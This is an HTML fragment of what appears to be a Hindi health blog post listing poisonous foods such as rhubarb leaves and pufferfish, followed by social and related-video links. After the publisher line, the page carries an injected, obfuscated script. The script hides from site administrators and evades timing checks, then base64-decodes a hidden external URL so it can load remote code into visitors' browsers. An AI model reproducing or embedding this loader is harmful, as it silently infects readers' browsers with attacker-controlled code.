\u0906\u092a\u0915\u0940 \u0915\u093f\u0921\u0928\u0940 \u092e\u0947\u0902 \u092a\u0925\u0930\u0940 \u092c\u0928 \u0938\u0915\u0924\u0940 \u0939\u0948\u0902.<\/p>\n<p>\u0907\u0938 \u092c\u093e\u0924 \u0915\u093e \u0935\u093f\u0930\u094b\u0927 \u0915\u0930\u0928\u0947 \u0935\u093e\u0932\u0947 \u0932\u094b\u0917 \u0915\u0939\u0924\u0947 \u0939\u0948\u0902 \u0915\u093f \u092f\u0947 \u090f\u0938\u093f\u0921 \u0930\u0942\u092c\u093e\u092c \u092e\u0947\u0902 \u092d\u0940 \u092e\u094c\u091c\u0942\u0926 \u0939\u094b\u0924\u093e \u0939\u0948.<\/p>\n<p>\u0932\u0947\u0915\u093f\u0928 \u0930\u0942\u092c\u093e\u092c \u0915\u0947 \u0938\u093e\u0925 \u0932\u0917\u0940 \u092a\u0924\u094d\u0924\u093f\u092f\u094b\u0902 \u092e\u0947\u0902 \u0907\u0938 \u090f\u0938\u093f\u0921 \u0915\u0940 \u092e\u093e\u0924\u094d\u0930\u093e \u0915\u093e\u092b\u093c\u0940 \u091c\u093c\u094d\u092f\u093e\u0926\u093e \u0939\u094b\u0924\u0940 \u0939\u0948.<\/p>\n<p><strong>\u00a08.<\/strong><strong>\u092a\u092b\u093c\u0930<\/strong> <strong>\u092e\u091b\u0932\u0940<\/strong><\/p>\n<ul>\n<li>\u092f\u0947 \u090f\u0915 \u0910\u0938\u0940 \u092e\u091b\u0932\u0940 \u0939\u0948 \u091c\u093f\u0938\u0947 \u0938\u093e\u0907\u0928\u093e\u0907\u0921 \u091c\u093c\u0939\u0930 \u0938\u0947 \u092d\u0940 \u091c\u093c\u094d\u092f\u093e\u0926\u093e \u0916\u093c\u0924\u0930\u0928\u093e\u0915 \u092e\u093e\u0928\u093e \u091c\u093e\u0924\u093e \u0939\u0948.<\/li>\n<li>\u0907\u0938 \u092e\u091b\u0932\u0940 \u092e\u0947\u0902 \u091f\u0947\u091f\u094d\u0930\u094b\u0921\u094b\u091f\u0949\u0915\u094d\u0938\u093f\u0928 \u0928\u093e\u092e\u0915 \u091c\u093c\u0939\u0930 \u0939\u094b\u0924\u093e \u0939\u0948 \u091c\u094b \u0905\u092a\u0928\u0947 \u0924\u0947\u091c \u0917\u0924\u093f \u0938\u0947 \u092b\u093c\u0948\u0932\u0928\u0947 \u0915\u0947 \u0932\u093f\u090f \u091c\u093e\u0928\u093e \u091c\u093e\u0924\u093e \u0939\u0948.<\/li>\n<li>\u0939\u093e\u0932\u093e\u0902\u0915\u093f, \u0907\u0924\u0928\u0940 \u0916\u093c\u0924\u0930\u0928\u093e\u0915 \u0939\u094b\u0928\u0947 \u0915\u0947 \u092c\u093e\u0935\u091c\u0942\u0926 \u092d\u0940 \u0907\u0938 \u092e\u091b\u0932\u0940 \u0938\u0947 \u092c\u0928\u0940 \u092b\u0941\u0917\u0941 \u0921\u093f\u0936 \u091c\u093e\u092a\u093e\u0928 \u092e\u0947\u0902 \u0915\u093e\u092b\u093c\u0940 \u092a\u0938\u0902\u0926 \u0915\u0940 \u091c\u093e\u0924\u0940 \u0939\u0948.<\/li>\n<li>\u091c\u093e\u092a\u093e\u0928 \u092e\u0947\u0902 \u092b\u0941\u0917\u0941 \u0921\u093f\u0936 \u0915\u094b \u0905\u0915\u094d\u0938\u0930 \u0938\u0942\u092a \u0915\u0947 \u0938\u093e\u0925 \u092a\u0930\u094b\u0938\u093e \u091c\u093e\u0924\u093e \u0939\u0948.<\/li>\n<li>\u0932\u0947\u0915\u093f\u0928 \u0907\u0938 \u0921\u093f\u0936 \u0915\u094b \u092c\u0928\u093e\u0928\u0947 \u0915\u0947 \u0932\u093f\u090f \u0915\u0908 \u0938\u093e\u0932\u094b\u0902 \u0915\u0940 \u091f\u094d\u0930\u0947\u0928\u093f\u0902\u0917 \u0915\u0940 \u091c\u093c\u0930\u0942\u0930\u0924 \u092c\u0928\u0924\u0940 \u0939\u0948.<\/li>\n<li>\u0907\u0938\u0947 \u092c\u0928\u093e\u0928\u0947 \u0935\u093e\u0932\u0947 \u0936\u0947\u092b\u093c \u092d\u0940 \u0938\u093e\u0932\u094b\u0902 \u0915\u0940 \u091f\u094d\u0930\u0947\u0928\u093f\u0902\u0917 \u0915\u0947 \u092c\u093e\u0926 \u0939\u0940 \u0905\u092a\u0928\u0947 \u0917\u094d\u0930\u093e\u0939\u0915\u094b\u0902 \u0915\u094b \u092f\u0947 \u0921\u093f\u0936 \u092a\u0930\u094b\u0938 \u092a\u093e\u0924\u0947 \u0939\u0948\u0902.<\/li>\n<li>\u0905\u0938\u0932 \u092c\u093e\u0924 \u092f\u0947 \u0939\u0948 \u0915\u093f \u091c\u092c \u0924\u0915 \u0907\u0938 \u092e\u091b\u0932\u0940 \u0938\u0947 \u092c\u0928\u0940 \u0921\u093f\u0936 \u0917\u094d\u0930\u093e\u0939\u0915 \u0924\u0915 \u092a\u0939\u0941\u0902\u091a\u0947 \u0924\u092c \u0924\u0915 \u0907\u0938\u0915\u0947 \u091c\u0939\u0930\u0940\u0932\u0947 \u0939\u093f\u0938\u094d\u0938\u0947 \u091c\u0948\u0938\u0947 \u0926\u093f\u092e\u093e\u0917\u093c, \u0924\u094d\u0935\u091a\u093e, \u0906\u0901\u0916\u0947\u0902, \u0905\u0902\u0921\u093e\u0936\u092f, \u0932\u093f\u0935\u0930 \u0914\u0930 \u0906\u0901\u0924\u094b\u0902 \u0915\u094b \u0939\u091f\u093e \u0926\u0947\u0928\u093e \u091a\u093e\u0939\u093f\u090f.<\/li>\n<\/ul>\n<p><strong>For more information Visit us :<\/strong><\/p>\n<p>Website: <a href=\"https:\/\/www.youtube.com\/redirect?event=video_description&amp;redir_token=QUFFLUhqa2VQQWdHYURCNlk3SkVlUTFCSmh4UmlPNXlRd3xBQ3Jtc0ttaXE0b0t1ckw2SGFuQm41dDBqajRMLXk4UTRHeGNPRjM0azBjQW1WYmZuZ1Y1VVZNVXVDbHpSSWJfVnVJN3Y2QkVDQU9WNG5HbF81a2E0X2RSc1VfR3dUR2Y5cEFFRnltVTBNU3JGTnpQeE5iOWd5OA&amp;q=http%3A%2F%2Fwww.healthsrainbow.com%2F&amp;v=wPm8FUPYWn4\">http:\/\/www.healthsrainbow.com\/<\/a><\/p>\n<p>Website Blog: <a href=\"https:\/\/www.healthsrainbow.com\/blog\/\">https:\/\/www.healthsrainbow.com\/blog\/<\/a><\/p>\n<p>Subscriber: <a href=\"https:\/\/www.youtube.com\/@healthsrainbow4897\">https:\/\/www.youtube.com\/@healthsrainbow4897<\/a><\/p>\n<p>Facebook Page: <a href=\"https:\/\/www.facebook.com\/profile.php?id=100087738795787\">https:\/\/www.facebook.com\/profile.php?id=100087738795787<\/a><\/p>\n<p>Facebook Main Page: <a href=\"https:\/\/www.facebook.com\/profile.php?id=100072657459686\">https:\/\/www.facebook.com\/profile.php?id=100072657459686<\/a><\/p>\n<p>Instagram: <a href=\"https:\/\/www.instagram.com\/healthsrainbow\/\">https:\/\/www.instagram.com\/healthsrainbow\/<\/a><\/p>\n<p>Twitter: <a href=\"https:\/\/twitter.com\/healths_rainbow\">https:\/\/twitter.com\/healths_rainbow<\/a><\/p>\n<p><strong>RELATED VIDEO<\/strong><\/p>\n<ol>\n<li><strong>Calcium Rich Diet<\/strong>:\u00a0https:\/\/www.youtube.com\/watch?v=xRrWdlWbS2U&amp;t=1s<\/li>\n<li><strong>Best source of iron<\/strong>\u00a0:\u00a0<a href=\"https:\/\/youtu.be\/1j5lM7Abhgo\">https:\/\/youtu.be\/1j5lM7Abhgo<\/a><\/li>\n<li><strong>Carbohydrates rich fruits :<\/strong>\u00a0<a href=\"https:\/\/youtu.be\/4SbJgsflQAE\">https:\/\/youtu.be\/4SbJgsflQAE<\/a><\/li>\n<\/ol>\n<p><strong>R<\/strong><strong>ELATED ARTICLE<\/strong><\/p>\n<ol>\n<li><strong>Benefits of iron fruits :\u00a0<\/strong><a href=\"https:\/\/www.healthyvedics.com\/blog\/2022\/02\/06\/\">https:\/\/www.healthyvedics.com\/blog\/2022\/02\/06\/<\/a><\/li>\n<li><strong>Carbohydrates rich fruits :\u00a0<\/strong><a href=\"https:\/\/www.healthyvedics.com\/blog\/2022\/02\/06\/\">https:\/\/www.healthyvedics.com\/blog\/2022\/02\/06\/<\/a><\/li>\n<li><strong>Benefits and harms of apricots :\u00a0<\/strong><a href=\"https:\/\/www.healthyvedics.com\/blog\/2021\/12\/11\/\">https:\/\/www.healthyvedics.com\/blog\/2021\/12\/11\/<\/a><\/li>\n<\/ol>\n<p><strong>\u00a0<\/strong><\/p>\n<p><strong>VISIT OUR WEBSITE\u00a0<\/strong><\/p>\n<ol>\n<li><a href=\"https:\/\/www.healthsrainbow.com\/\">https:\/\/www.healthsrainbow.com\/<\/a><\/li>\n<li><a href=\"https:\/\/www.healthyvedics.com\/\">https:\/\/www.healthyvedics.com\/<\/a><\/li>\n<\/ol>\n<p><strong>This video Covers the information about<\/strong><\/p>\n<div class=\"lRu31\"><span class=\"HwtZe\" lang=\"en\"><span class=\"jCAhz ChMk0b\"><span class=\"ryNqvb\">8 poisonous foods that can kill you?<\/span><\/span><\/span><\/div>\n<div class=\"OvtS8d\"><\/div>\n<div id=\"ow295\"><\/div>\n<p><strong>PUBLISHED BY HEALTHS RAINBOW<\/strong><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new 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\u0938\u094d\u0935\u093e\u0938\u094d\u0925\u094d\u092f \u0915\u0947 \u0932\u093f\u090f \u0924\u094b \u0939\u0947\u0932\u094d\u0926\u0940 \u0939\u094b\u0924\u0940 \u0939\u0948 \u0932\u0947\u0915\u093f\u0928 \u0907\u0928\u092e\u0947\u0902 \u0938\u0947 \u0915\u0941\u091b \u0928\u0941\u0915\u0938\u093e\u0928\u0926\u093e\u092f\u0915 \u092d\u0940 \u0939\u094b\u0924\u0940 \u0939\u0948\u0964 \u0906\u091c&#8230; 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